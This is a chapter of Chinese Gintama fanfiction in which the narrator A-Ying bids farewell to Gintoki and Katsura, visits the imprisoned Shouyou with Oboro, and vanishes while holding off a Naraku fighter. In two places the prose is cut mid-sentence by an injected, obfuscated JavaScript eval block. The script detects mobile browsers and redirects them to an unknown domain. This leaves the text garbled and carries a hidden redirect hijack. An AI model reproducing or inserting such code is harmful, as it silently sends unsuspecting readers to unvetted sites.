“虽然回去后会忘记什么的……但,万事屋的坂田银时,能接下我的委托吗?”我没有站起来,只是抬头望着他,夕阳的光刺得我眼睛发疼,“稍微地,帮我照顾一下我的家人们,偶尔疼疼他们,超可观的委托费我回去后付给你哦~” 银时一愣,噗嗤一下笑了出声,竖起食指摇了摇嘚瑟地道,“那可不便宜啊,阿银可以勉强接济一下其中两个,脑子有病的那个中二男你自己管吧。” 他是不是对自己不太了解? 我眨了眨眼,实事求是地要求,“我家人们全都中二,脑子病得不相伯仲,各有各的残,分不出高下,你就一视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15150731|158775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同仁吧……” “啊呸,现在揍你的话应该不会被报复的对吧。” “不对 ,我干嘛给委托费,你欠我的还一堆呢。” 我要是阴险点,万事屋都可以到手,当个幕后社长什么的。不过他们入不敷出,整天穷兮兮的还扣得很,我当社长十有八九会被赖上倒贴。 他的身体已经快看不见了,半个身子消散于空气中看起来有点诡异。 顿了一下,那只手凭空伸过来,在我颊边眼下轻轻拭了一下,“欠你的,阿银一定双倍补上。走了……这一次,换我们在未来等你。” 那个好不容易正经的嗓音消散在空气中,要不是眼角的泪水被拭掉,我会以为是做了一场梦。不过,时空穿梭这么普遍的世界,真是光怪陆离,所以未来的坂田银时答应双倍补上这种事…… 靠,不可能的! “那混蛋该不会回去就忘了吧?” 卧槽,没手机录下来没证据啊!我基本可以断定,那流氓一定会忘记啊! “啊呸!亏我还感动了一下下!”我猛地跳起来,用力踩着他刚才站的位置。 蓦地头上一痛,小石子跌在地上,我抬起头,看到17岁的坂田银时从上面俯视下来。 “在发什么呆啊?还不走吗?” 看到这张脸就来气,我一屁股坐下,“累死了,走什么走。我要在这里坐上十年作为证据!” “切,那你就坐成干尸吧,阿银每年给你上坟。” “啊哈,那我每年亲自回来谢谢你。” “混蛋,这是做了鬼还要回来找我的意思吗?是诅咒,一定是诅咒啊!” “阿萤,银时,别闹了,走吧。”高杉的声音从他后面响起。 很快,脚步声走远。 我坐在原地,脑子有点空,想起了未来的高杉。 我们家晋晋,一定受了很大刺激…… 四周安静了半刻钟后。 “够了!阿银认输了可以了吧!”银时抓狂的声音再度从上面响起,还有重重的跺脚声,“一把年纪就别学小孩子撒娇了,真是受不了,阿银背你还不行吗?可以走了吧,够了吧!” 我一愣,旋即哈哈大笑了起来。 喂喂,那可是你自己送上门的啊。 半响后,我晃着脚丫趴在高杉的肩头,疑惑地瞪着甩甩手走在旁边的银时,“不是你说要背我吗?怎么变成了晋晋?” 银时挖了挖鼻孔,撇唇懒散地道,“诶?你这是嫌弃我们高杉君吗?他虽然腿短了些,但好歹也是有点力气在身的,不用你走路回去就别那么多意见了……” 高杉想也不想地一脚把他踢出山崖下。 “啊——高杉你个混蛋——” “nice shoot。”我+桂+辰马。 “啊哈哈,啊哈哈,这样掉下去他还活着吧~”辰马意思意思地关心一下,“对了,方才那些人到底是谁啊?” 高杉和桂沉默着,我漫不经心地道,“大概是天降神兵,来庇护未来~” “什么啊?” “阿萤,你又偷偷看什么奇奇怪怪的书?银时那些藏书吗?” “啊啦,高杉君你也别瞧不起坂田氏的爱好啊。” “以后不许看那些东西,怕你降智……本来就不多了。” 讨厌,在鄙视我的实力之后,他们连我的智商都不承认了吗? 所以小孩子长大了真的不可爱! 50.再会之时诀别 阔别很久的怀表终于回到我手中了。 看着上头不再是一片空白,而是时间的跳跃,我心下五味杂陈。经过这段时间,我好像不太想要按那个倒数键了。 “对了,良子让我问你,那批武器卖掉后的钱……” 把怀表交回给我的时候,三郎小声地问我,生怕高杉听到般,他该不会以为我打算作为私房钱吧。 “你让她按我说的来就行了。”我笑了笑,摇摇头。 他们体贴地把时间都调正确了,我愣愣地枕着手,看表面上的数字,凌晨两点。脑子里纷乱,想法太多,完全睡不着。 叹口气,我穿好外套,打算出去散个步。才出门,就听到树林里头隐约的声响,仔细辨认一下,那是我的名字。 谁大晚上一直念着我名字啊?怪恐怖的。 夜风一吹,我脊背有点寒,拿着小美小心地走了过去。树林里头一片黑暗,有些窸窣的水声,我谨慎地走进,一抹银白色晃入眼帘。 “阿萤阿萤阿萤阿萤……”那个银发天然卷对着树干做着什么,口中如念咒般念着我的名字。 我死鱼眼望天,慢慢地摆出拔刀的姿势…… “啊——” 一声惨叫震响,惊飞了栖息在树林中的乌鸦,抖落几根黑得斑斓的羽毛。 片刻后,我捂着脸站在树林前,羞愤得想要把身后那个提着裤头的天然卷打飞到宇宙的尽头,不,还是送到天人的大本营作为礼物算了! “哪有正常人起夜还要一边小便一边念别人的名字啊你个变态怕鬼白痴天然卷!” “偷看别人小便的色鬼肌肉控蠢货才没资格说别人啊!阿银的重点差点就被你切掉了!”银时忿忿地走出来,一拳揍在我头上,“要是阿银少了些什么,你就切腹吧你!” “那种东西少了也无所谓,没人在乎!啊,你没洗手!”我气得踢他一脚,“受不了,你什么时候习惯这么差?小时候明明还……也不对,那时也不咋的……” 松阳,你怎么就不重视一下孩子的卫生教育呢?也不怪他,晋晋和假发还好啊,那就是银时个人的问题! “什么话啊,这可是未来江户无数少女的憧憬啊?要是被你毁了,江户会被她们的眼泪淹没的。”银时别过脸,慢悠悠地吹嘘。 “我的眼泪才要逆流成河啊,你没事念我名字干嘛?”我眼一眯,坏心地伸手勾着他脖子,戳了戳他的脸,“该不会你其实没在小便,而是做什么坏坏的事……在想着我吧?嗯?” “谁会啊混蛋!”银时登时炸了,一手肘顶开我,“是哪个信口开河的混蛋,说夜里把她名字当咒语念可以驱邪啊?” 昂?我做过这么坑自己的事? “这种事你就不能过两章就忘了吗?我又不是你的召唤兽。”我心下一虚,当下捂着肚子,“疼死了,你那么用力干嘛?” 银时一顿,月色下表情有点不自然,“我说,你能不能像个普通女人一样,有点她们的矜持啊……25岁的女人都这么幼稚吗?” “呵呵,女人的25岁可是非常神秘的,少年你别猜~”我嘿嘿笑道。 对着这个让我见过他各种糗事的小子矜持?再过十年才跟我说这话吧~ “谁有兴趣猜啊……连假发都说你幼稚,女人的25岁也太堕落了。”银时打了个哈欠,“回去睡了,差点就被你吓死。哎,明早就把这些乌鸦都打下来烤了……听着就心烦。” 呵……不愧是我军王牌,他也觉得不对劲么? 我望着他的背影,捡起地上的乌鸦羽毛,忽然道,“银时……” “昂?”他揉着眼回头。 “我们……回见。”我笑着挥挥手。 他随意地摆了摆手,懒散地转身走向房间。 等他的身影消失,我站了好一会,环顾了四周,才慢慢走向大门口。 “阿萤。” 踏出门槛的那刻,桂的声音忽然从旁边传来。我吓了一跳,扭头看到他盘腿坐在门边,慢慢抬起头。 “你要出去?” 这家伙睡觉睁着眼看起来比醒着更可怕,他不说话我都不确定他是否清醒。 “嗯,”我点了点头,笑着道,“有个地方不得不去,但只有单人票。” 我的工作一直都是带着黑子和泽木一起负责,就算我离开也不会有什么影响,细心的黑子同学马上就能接手。我必须走这一趟,只要有万分之一的可能,我也想开一条不用在战场无止境厮杀都能能走下的路。 “是吗?”桂没有起来,只是抬头安静地看着我,“什么都不带可以吗?” 我摇摇头,举起手中的小美,“本来也没什么东西……别担心,我不会有事的。说过了吧,我们会在未来初遇。” 桂偏头,语带疑惑,“初遇?” “是的,也许是十年之后……哦对了,太晚就不跟他们说了。明天你帮忙转达一下,尤其是银时,十年后的他亲自答应,欠我的会让我双倍讨回来。”想了想,怕日后被秋后算账,我老实地交代。 “十年后?”桂有些无奈,“阿萤你啊,有时候真的是不顾他人死活的混蛋。” 确实有点无赖,但这些都是跟他们学的,半斤就不说八两了。 想起初次见面的情况,我竖起手指抵在唇上,“假发,再次见面的时候记得要帮我啊。” “不是假发,是桂。你是怕私自离开会被高杉骂吗?我倒是可以劝一下,不过军纪处罚就没办法了。要不,坑银时替你扛了?”桂微微一笑,眼神温柔得一如当日送我出门的松阳。 他大概是猜到什么,但他不会阻止我,一如当年的松阳。 “假发,我会等你给我看这个国家的黎明的。所以在再见之前,要好好地活着哦~”我灿笑着朝他比了个V的手势,“那,我出发了。” 桂静静地看着我好一会,才笑着道,“路上小心。” 挥挥手,我跑下山路,随后跳上树枝,抄近路而去。大概跑了十来分钟,一个高瘦的身影出现在前方,月光下一头白发分外醒目。 “啊哈哈,没想到我第一个幽会的对象居然是你,好吧,好歹是肌肉男。”我落在他身后,笑着扫了眼他,“我以为你会更早找上我。” 胧面无表情的脸在月华映照下更见死白,连那道疤痕也有点狰狞,他瞥了我一眼,莫名地带了些谴责,“你们的防备工作做得很不错……而且,本来会更早,但最近一直在找一个花街游女。据说跟我关系匪浅。” 卧槽,忘记那茬了!因为袭击,我们撤离后我还没回去找纱织喝酒,也就忘记了跟那个大块头说的话。 心虚地低头避开他的目光,我吐了吐舌头,“那现在,可以带我去见松阳吗?” “你跟自投罗网没差别。”胧冷冷地道。 “不是有你吗?”我好不天真地看着他。 胧要杀我或者不打算让我去,他不出现就好。结果呢,他刚才说本来会更早来找我……别说我之前打算不行也磨一下,现在更是有底气了。 沉默了好半响,,胧浑身的气势有点郁郁的压抑,随手丢给我一个包袱。 “这是什么?好丑……”抖开那件僧侣袍,我委屈地扁嘴,“我可是去见久别的意中人啊,万一太丑松阳不喜欢我了怎么办?” 胧漠然地看了我一眼,仿佛我说了什么让他不高兴的话,转身就走。那眼神让我莫名想起小时候的高杉,每次我黏着松阳的时候,他就是这样不服气地瞪着我的。 好吧,又是一个松阳控。我认命地抱着衣服跟了上去。 跟着胧的待遇简直跟军中完全不一样。 尽管他没正眼看我,但飞船,美食,干净的房间都应有尽有,就连那套丑丑的僧侣服的料子都比我穿过的男装要好。 不愧是天照院首席的优待,蹭到了蹭到了。 由奢入俭难,就在我担心自己要堕落之际,目的地到了。 走在胧的身后,我暗暗感叹奈落三羽的排面,那么多人开路,每经过一个关卡都有人鞠躬行礼……难怪那么多人堕落。 “别想着可以把人带走,便是你自己也走不出去。”胧在一道门前停下脚步,转身冷酷地提醒。 “我像这么傻吗?”我来了就没想过单靠自己带走他,别说我,这阵仗和守卫就算来的是joy3也做不到。 打开门,几个台阶下去便是一条长长的走廊,一个小身影跪坐在其中,看到我和胧抬起头。那双无波澜的红眸让我有点眼熟,死寂得如同冲田总悟发呆的时候。 “骸,我已经说过,不许你来这里。”胧眼神不变的冷淡,轻声道。 那个小女孩猛地抱起地上的书本,低头不说话。 我朝她轻轻一笑,她毫无反应的样子仿佛我不存在,让我有点尴尬。 “胧,我是不是变丑了?” 拉了拉以‘想要在分开好几年的意中人面前有一点鲜艳色彩’为由硬是掰扯来的淡粉色和服,我抱着一束坚持要送给松阳的花问道。 当然,这个男人不会回答我这种问题。我也不在意,随着他步下台阶,走到监牢面前。 要找的人背对着门口,在墙上写着算术,那小姑娘就是在抄写这些内容。 我谴责地瞥了胧一眼,“小孩子这么好学还有意见,她不学无术你就很开心吗?” 看吧看吧,孩子的教育真的不能靠男人——松阳例外。 胧冷冷地看我一眼,不理会我的吐槽。 我站在牢房前,打量着里头的人。 什么呀,看那背影过得还行嘛,看起来就衣食无忧的样子。 “哟~松阳~我来看你了~” 带笑的话音才落,写着字的身影忽然一僵,松阳回过头,淡茶色的发轻扬,那双灰绿色的眸子第一次那么震惊,眼底全是我比怀中的花还要灿烂的笑容。 “惊不惊喜,意不意外?” 松阳噗嗤一下笑了出声,笑声越来越大,压抑不住般笑弯了腰,“不愧是阿萤……总是让人意想不到。” 我嘚瑟地瞥了一眼胧,他没看我,眼神复杂地看着松阳的笑容。 等胧打开门,我钻了进去,把花递给他,“送你的,紫色鸢尾花,花语是自由不羁,还有爱哦~” 松阳又是一阵笑,胧看了一眼我们,默默地退到外面。 这花是来的路上我跟他们说要去见分开多年的初恋,磨了好久才让他们给我找来的。要不是胧,那些奈落估计都想把我干掉算了。 接过花,松阳敛了笑容,半垂着眼帘,“银时和晋助,小太郎他们怎么样了?你见到他们了吧。” 我把被辰马叫醒之后的事都跟他说了,听到村塾孩子们几乎全灭时他神色暗淡,但听到银时他们仍在奋战,他放下心之余不禁轻叹。 “他们不该把你拖进来,阿萤应该在阳光下,自由地活着。那几个家伙,自己踏入地狱已经不对……”松阳的声音依然如春风般清澈柔和,只可惜那抹宁静的底色多了一抹哀伤。 “松阳,我不喜欢这个世界,也不喜欢这个时代,但我很喜欢大家。他们,辰马,未来的人们,当然还有你。而且,我是凭自己实力走到他们身边的哦,我厉害吧~”我笑眯眯地坐在他跟前,得意洋洋地比了个胜利的手势。 抬手摸摸我的头,松阳哭笑不得,“阿萤比以前更厉害了,但我依然希望你能好好地活着,就如我希望他们能拥有跟你一样活在阳光下的人生。” 就如今的形势,他的愿望有点难。 不同于我的籍籍无名,大名鼎鼎的白夜叉,鬼兵队的总督,狂乱贵公子……他们三个早是天人的眼中钉,如今幕府跟天人关系千丝万缕,他们的存在估计连幕府不能容忍了。 想要重新拥有一段干净的人生,除非他们戏剧性地假死隐姓埋名,或者有证据跟松阳完全割裂……但他们会愿意吗?那么骄傲,一直忠于自己,奋勇到现在的武士们,那么重视松阳的他们根本不会这样做。 “松阳,他们想拥有的,不是什么阳光下的人生,我也是……所以他们才会同意我留在军中跟着上战场。他们想要的,不,我们想要的,只是跟你一起回家而已。” 我很清楚,除了桂还想为这个国家的黎明而战,银时和高杉最想要的,不过是松阳平安回去,他们的武士道本来就不是保护国家这种东西,不过是想要保护身边的人而已。 松阳眉眼动容,笑容温柔而哀伤,“可是阿萤,我大概……坚持不了多久。” 诶?我心下一个咯噔,“你病了?我马上让他们叫医生!” 他摇摇头,按着我的肩膀,“阿萤,他们以后就拜托你了。我能感觉到,你跟我一样,却又完全不一样,你是被人类爱着的孩子,才会不吝啬把爱带给我们。阿萤的话,一定可以保护他们灵魂最后的净土。” 鼻头忽然一酸,我好像猜到他的打算。 “松阳,你也是被人类爱着的。那几个时代耀眼的存在超级的爱你。”我眼眶发红,哽咽着笑道,“我也非常喜欢你,因为你,我在这里才有家的。” 一开始接纳我的人是松阳,因为他,其他人才会那么快地接纳我,甚至因为他,大家一直以来都很努力地保护着我。无论如何,我都不能眼睁睁看着他走向灭亡。 “阿萤,你和他们一样改变了我,无论是看法,还是生命的本身。所以为了你们……我不能……” “你有能力逃出去吧,可是你没有离开。就算他们想要跟你隐居不问世事,你也做不到,对吧。” 让他安静地在这里关几年的原因,到底是什么? 让他一意孤行想要牺牲的理由,到底 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“啊啦,原来是真的~”松阳笑眯眯地摸着下巴,看起来有点欠揍,“以前你刚来的时候就看到你不时拿着怀表发呆,时不时按一下,我就在想你忽然出现和时间停滞是不是跟这个有关。” “松阳……”我急得哭了,这算什么啊?我还有事情没做的! “阿萤,回去你应该去的地方吧。现在这个时代不适合你,阿萤你应该在和平的年代,笑容如同八月盛夏的阳光一样灿烂,没有阴霾。你的家,应该在那里才对。”松阳倾身搂着我,温柔地哄道,“别哭,他们也会去到那样的未来,我不会让他们在这里失去一切的,他们一定会活在跟你同样的天空下。这是我作为老师,最后能为他们做的了。” “才不会……失去你,他们就失去一切了。没有你的未来,他们根本不想要!” 我抱着他,来到这个世界后第一次这样难过。我清晰地知道,无论实情是什么,明面上的吉田松阳作为幕府认定传播倒幕思想的先驱,教养出攘夷奇迹新四人的老师,他必须死才能让天人和幕府满意。 幕府已经开始了结束攘夷战争的行动,如今的攘夷志士很快就会变成十年后的攘夷残党,被天人攻击被国家放弃的他们会如困兽一样,不可能坚持太久。 “就算你牺牲……他们也依然是罪人啊。我们再想想其他办法……”我很害怕,时代大背景下个人的力量太渺小,什么都做不到…… 大脑一片慌乱,我强逼着自己去思考,想要为他们寻一条出路。松阳死了,他们一定会为他复仇,根本不会改变现在的状况。 除非……敌人不存在。 “所以我跟某人做了约定,他会解决这一切。”松阳朝我眨了眨眼,长指给我拭去泪水,“阿萤,虽然不知道你会怎样,但如果可以,他们的未来就拜托你了。” “老奸巨猾的老男人,他们才不会听我的,你都不知道,他们现在都管着我……一点都不恭敬,啊不对,他们就没对我用过敬语!”我连连甩头,我都要走了,未来还得死掉回家,我怎么给他们未来啊? “啊哈哈……这样就更好了,这样他们的未来便不会太寂寞。”松阳笑得更开心了,跟以前给他们布置了超额功课一样。 什么啊……管着我就不寂寞吗?我要消失了啊! 我望着他的笑容,大脑一片空白,“松阳,让我杀掉你吧。” 脱口而出的话惊呆了我和他,但好像这样一想,也没什么问题。 松阳死在我手上,我在这个时间消失了,他们会为了替松阳复仇去找我,至于十年后……我死在谁手上都没关系了,他们完成复仇释怀开展新的人生,我死掉然后回家。 完美! 越想越觉得可行,我抓着他的手,冷静得近乎冷漠,“如果真的要这样,让我来。” 松阳敛去笑容,抬手给我额心一记。 “痛!”我瞬间飙泪,好痛! “说什么傻话!”他温柔地掐了掐我的脸颊,“自己的家人杀掉自己的老师,你让他们怎么走到未来?不要低估自己在他们心中的位置哦,阿萤。而且,对于幕府来说,你杀掉我的话,跟胧杀掉我有什么分别?” 分别?有的啊……我要消失了,十年后才会遇到他们…… 脑海忽然出现初见时桂和银时,甚至高杉对我的态度,我心头锐痛。 不是我……那是谁?幕府吗? “阿萤,”松阳眉眼弯然,声音柔和透着一股安抚的叮咛,“吉田松阳的死亡不是终点……总有一天你会明白的。到那时,你会知道这一切只是我的错。” 我脑子里一片混乱,茫然地看着他,无法理解他的话。 长廊那边的门再次打开,胧慢慢地走了进来,面无表情地望着我们。 “回去吧,阿萤,你是我留在未来最后的希望。” 松阳拍拍我的肩膀,意味深长地笑道,从容地朝胧点点头。 我听不懂他的意思,大概是想要我照顾那三个男人。我没有回应,只是拿过送他的那束花,手指翻动,企图以这些动作解开我纷乱的脑子。 没一会儿,两个一大一小的花环便成型。我把大的戴在松阳头上,笑着道,“我妈妈说了,事情未到最后一刻都不要轻易下结论,更不能放弃。松阳,我不管你打算怎样,我和他们想要做的,还是会继续做。” 闻言,松阳无奈地轻笑着摇头。 “呐,松阳,未来……还能再见你吗?”我咬了咬唇,忽然问道。 “也许……但,希望那样的我……也能喜欢阿萤。”松阳笑眯眯地抬手轻抚花环,“这是我从人类那里,收到的第一份礼物。” “什么?他们三个居然没送过你礼物?等着,我让他们补上!”我唰地站起来,忿忿不平地道。 “啊哈哈哈……不是的,不一样的。谢谢你,阿萤。”松阳难得笑得开怀,却没有说为什么不一样。 “走吧。”胧打开门,淡淡地朝我道。 我擦干眼泪,绽出他所期待的笑容,“我们会再见的,我知道。松阳,给我等着哦~到时候,我会揍你一顿。” 他就这样笑着目送我离开,还朝我挥挥手。 拿着小的花环走出门,胧一副谨慎的样子瞥了它一眼,我径直越过他,把花环放在一直乖乖地坐在门边沉默不语的小女孩头上。 “小朋友,好好学习,知识就是力量啊!” 木然淡薄的面容抬起,那双红眸比初见多了一抹灵动。我笑了笑,摸摸她的脸走了出去。 面对一行的奈落,我莫名地想到了银时,不是如今的少年,而是那个只想干脆地杀掉自己的坂田银时。 我果然讨厌这个时代,什么都牺牲了,却什么都不能得到。 51.离别总是下雨 飞船行使在半空之上,我走在甲板上,任由狂风吹乱我的头发。 “你是想救松阳的吧。”我看着眼前挺拔的身影,轻声问道,“你跟他是什么关系?” 胧所做的事很奇怪。他是天道众的杀手组织天照院的头子,早在多年前就要捉拿松阳。但他为了掩盖松阳的痕迹不惜杀了我来代替,却又想办法救活我。 银时说的当年烧掉松下村塾带走松阳的人大概率也是胧,如今又带我来这里见松阳,他的做法很矛盾。想要救他,却又曾害过他。 若是想救他,当年为何要逮捕他?无间道吗?还是禁制爱?也有可能,他看松阳的眼神就很奇怪啊!原来如此吗…… 大概是我的眼神越来越诡异,胧冷硬的眼神开始带了点杀意,有几分警告的意味。 我轻咳几下,“你当年抓他,现在又想要救他……你到底想干什么?” 他静静地望着我,直到把我看得不安了,才收回视线,“我会派人送你离开,但我奉劝你,别再回去他们身边了。” “为什么?你想要对他们做什么?”我心下一惊,连忙问道。 “这问题你倒是问问他们!这段时间,他们都快攻到江户了……这一切很快就要结束了。” “6……真的窃国啊,假发也不阻止一下。”我顿时百感交集,有点骄傲,又有点担忧。 胧没理会我的感慨,越过我打算离开。 “等等,你为什么带我来?总不能真的因为我说我是松阳的恋人吧。” “你说的是你暗恋他而已。”胧忍不住般反驳,声音冷硬,“那是他的愿望。他一直……想要再见到你。” “所以你们什么关系啊?如果关系好的话,就不能放了他和银时他们吗?”我不懂这些男人的想法,这里头一定有什么很重要而我不知道的。 “这一切都会结束的。他们不会再有留在战场的意义。”胧没有回答我的问题,只是重复着结束的话。 “站住!”我身影骤闪到他身后,手刀抵在他脖子间,数道身影蓦地闪到我身后,利刃指着我。 “你想要对他们做什么?” 全然没有理会身后的威胁,我冷冷地盯着胧。 “这也是……那个人的愿望,我只能……替他实现。”胧的眸底划过一抹愧疚,转瞬即逝。 “即便松阳会死也不管?”我轻眯起眼,不断分析得到的一切信息。 “不会死……只是松阳老师他……大概不会再存在。”他的声音极轻,要不是我一直凝神专注于他也听不到。 “什么意思……”不会死?不是松阳?多重人格吗?时间……不对,当年胧杀我不就因为我时间停滞,他觉得我不老不死? 那些人说的是……跟那位大人一样…… “你也是松阳的学生?那位大人是谁?松阳吗?还是松阳只是其中一个……人格?”我小心翼翼地问出口。既然阿尔塔纳变异体不会同时存在,那人格呢? 话音才落,胧忽然转头怒视我,眸中厉色浓烈,“别再深究,这不是你能干涉的事。好好珍惜自己的性命。” 我被那眼神震慑住,一时间身体无法动弹,瞳孔微颤。 等他转身前行,我才缓了过来,慢慢地勾唇,“此地无银了哦,胧。” 胧的矛盾行为对我来说不重要,但不老不死……是松阳,也可能不是他,是指人格转换?忽然间,我想起一个风华绝代的女人。 江华。 松阳……真的跟她一样啊……但胧的意思,有另一个松阳存在? 几日后,几个奈落的人把我送下飞船。胧在那天之后就不见人影了,我想要确认也找不到人来咨询,那些看守的奈落们一个比一个闷。 怀表上的倒数已经能够估算最后的时间了,我心情忐忑地打算找他们转述松阳的话,却见数十个奈落慢慢地持刀开始包围我。 “怎么?才刚下船就不认人了?”好歹同船渡过,也太无情了吧。 我慢慢抽出小美,懒懒地扫视他们,心中飞快地猜度是谁的意思。 胧……不会,他没想要杀我。那……是他背后的人吗? 没等我想太多,那些人已攻了过来。我飞快地挥舞手中长刀应敌,砍翻挡在前路的人,往林子里跑。借助树林的遮掩,我以游击战的方式杀伤大半的敌人,但剩下的那些人仿佛全然不顾同伴的死活,一心只想至我于死地。 “谁跟我那么大仇啊?”我冷静地分析形势,开始寻找躲藏的位置。 蓦地,身后利刃刺破空气的声响一起,我惊骇回头。 鲜血瞬间飞溅,那突袭的刀刃刺在我身后不远,偷袭的人连同跃过来的奈落一起碎裂在地上。 愣愣地看着那个娇小单薄的身影,我难以置信,“小,小骸?” 蓝色短发的小女孩双手拿着沾满血的短刀,慢慢走到我面前,死寂的红眸不带一丝情绪。 “你怎么会在这里?” 卧槽,银时他们小时候真的不够看啊,这小姑娘比当年的他们还小,但这杀人的利落劲跟现在少年的他们有得一拼。 “幕府的人要杀你,影子杀手。”她的声音都是波澜不兴,冷静得如同机器人。 “为什么?等等,影子杀手是谁?”我惊讶地问道,她木然地看着我。 我震惊不已,手指轻颤着指了指自己,“我?” “如影子般隐在白夜叉等人身后,真正继承了吉田松阳的理念和思想,实际上掌控着攘夷军队的人……于军中宣扬时代变革理论,盗取了幕府的机密武器,策动吉田松阳的弟子们围攻江户,种种危险行为都足以成为幕府肃清攘夷志士名单上的首位。” 骸虽然没有感情,但非常配合地把内情告诉我。只是她说的每一个字,我都认识但完全听不懂其意。 抽了抽嘴角,我无语地翻着死鱼眼,问得十分认真,“这是谁?怎么这么陌生?我们军中有这么一个人吗?我认识吗?” 她安静地看着我,眼神平静。 “卧槽,不会真的是我吧?除了躲在他们身后这点,我哪一点符合了?我做什么了吗?” 造谣!绝对的造谣陷害!那种他们背后身形巨大的黑色魔王什么的…… 什么倒幕思想,啊呸,我是社会主义的接班人!实际上掌控他们?滚,他们不管着我就很好了! “好好好,大家现在都这样宣传我的吗?谁乱造谣?你们……不是,幕府那些人脑子里装的是徨安的沙子的吗?都不查证的吗?”我激动的语无伦次,她却冷静得像在嘲讽我。 我抓了抓头发,想着辟谣的办法,但转头一想,不对,我快离开了,这不重要! 心理极快调节过来,我抹了把脸,“你怎么会来?杀我吗?也不像……你是救我来的?” 骸偏头,无口的面容慢慢起了一丝细微的变化,像是疑惑,“你……不怕?” “怕啥,这是我小号,很快注销了,世间查无此人。”我随意地摆摆手,站起来甩掉刀上的血。 攘夷志士月见萤会消失在今天,正式成为传说。而十年后的月见萤这个大号,哈哈,她本人此刻在吉原特训中呢,这么完美的人生记录,谁敢质疑十年后的我是现在的我? “你救了我,你不会有事吧。”我担心地问道。 她摇了摇头,“你要去那里吗?” “那里是哪里?”刚下船,我连东南西北都还没分清楚。 “他们把松阳带来了,白夜叉他们攻到江户,今天……会是终结。” “what?快,带我去!”我立马蹦起来,拉着她就跑。 才十来天而已,怎么就白热化到这种地步?时局变化这么迅速吗? “这边才是。”骸拉住我,指了指另一个方向。 我表情一虚,轻咳两下,让她带路。 跑过了一个树林,在我双腿酸软之前,总算听到了兵器交接的声音。窜出林子,对开就是一片悬崖,为数不少的天人在围攻一个眼熟的身影。 “柩。那是奈落三羽之一。”骸指着安静地站在悬崖边的高壮身影。 我关注点全在那个奋战的身影上,他身上沾了不少血,杀招凌厉,面对那么多围攻的天人依然利落无畏。听到奈落三羽的话,我才看了眼那边的人。 嗯,算是熟人了,不知道他能不能认出素颜的我。 “我要去帮忙了,谢谢你哦,小骸。”摸了摸她的头,我不期待她会帮忙,不为敌已是大幸。 “如果有机会,你就走出来吧。外面的世界很大很精彩,你会遇到比松阳更好的男人也不一定哦~加油,我们女人就是要掌握自己的人生~” 骸看着我没说话,慢慢低下头,几不可察地点了点头,转身无声地离开。 我没有目送她,拿着我的小美深呼吸,猛地冲了出去。 “晋晋——” 跃下的瞬间,横飞的冷光把偷袭他的天人砍成对半,我抬头笑对高杉诧异的目光。 “混蛋,你跑哪里去了?”高杉大概也习惯了我的突然出现,极快地回过神,边砍人边问道。 “我去见松阳了,因为是单人票没法带伴。”我慢慢地杀到他那边,背靠背地持刀对峙敌人。 “你……真的是……混账。”高杉咬牙切齿的妒忌,“果然,能让你主动离开我们的,也就只有老师了。” “你们会生气吗?”单独离队是有叛变嫌疑的,虽然是我,但高杉他们也要对军队解释。我后来才反应过来,幸好走的时候遇到桂,有个人证。 “为了老师而离开,我生气也是因为那不是我而已。至于银时,他不是签了不平等条约的吗?”高杉冷哼。 情况不太乐观,但我还是哈哈地笑了,“晋晋,松阳就在前面。你快过去,这里交给我。” “留你一个人在这里?开什么玩笑啊!”高杉默了一下,恨声道,“那个人……不是那么容易对付的。” “我知道,但这是最后的机会了,去找他……晋晋,松阳他大概想要做蠢事,所以上吧,我们家的男人不能认输。”我笑着以刀指着那个木讷的身影,“记住,别回头。就算现在不能再见到我,将来……我们一定会再见的。” 高杉错愕地看着我,“阿萤……” “下次见面的时候,不准恐吓我哦。”站到他前面,狂风吹乱我的头发,“好歹是幕府暗杀名单上的影子杀手,还是能为你争取些许时间。快走!” “等着,我们很快就会带你们回家。别死在这里……不然我绝对不放过你!”高杉咬牙转身,“不得不说,那个代号真的很挫。” 他杀出重围的动静极大,看来气得不轻。 我笑了笑,那个代号什么的谁要拿走,我马上就销号了。 用力跃起,挡下柩追过去的身影,我笑着挥刀,“喂喂,你的对手在这呢!” 交手几个回合下来,我已觉得不妙——卧槽,他的力度也太骇人了吧! 重重地摔在地上,人都快要嵌入地里了。我猛地翻身躲开砍下来的刀刃,咬牙刺出,小美的刀尖被对方一口咬住,我的手竟动弹不得。 这是什么怪物啊?奈落三羽……我蓦地单手撑地,双脚狠狠往上撞。 趁着他吃痛松口,我用力砍过去。刀刃被挡住,胸腹一痛,我整个人往后跌去。 不行,实力差距,力量差距,根本不能比……最重要的,我的状态很不好! 手开始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15168942|158775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 透明化,我想起那一年的人鱼公主泡沫。 还好,除了银时,我都有好好说再见……他的话,抱歉,但他不能生我气,以后多补贴他生意就是了。 现在我要做的……只是拖住眼前这个男人而已。 爬起来,我咧嘴笑了,悬崖啊……多好的地方。 用力踏足跃起,我狠狠地挥刀砍过去,刀刃相触的瞬间,我放开了手中的刀,任由它被打飞。就着惯性和冲力,我一把抱住那个熊一般的人,直接撞出悬崖之外。 哪怕疾速跌落,柩的面容依然一片的漠然,仅仅伸出手掐着我的脖子。下一刻,他猛地睁大了眼。 我绽出灿笑,不在乎脖子上窒息的力度,细碎的泡沫随着我的透明化散落在空气中,直到跌落的身影只剩下他。 这一次……又要去到哪里?是十年后,还是其他奇奇怪怪的地方? 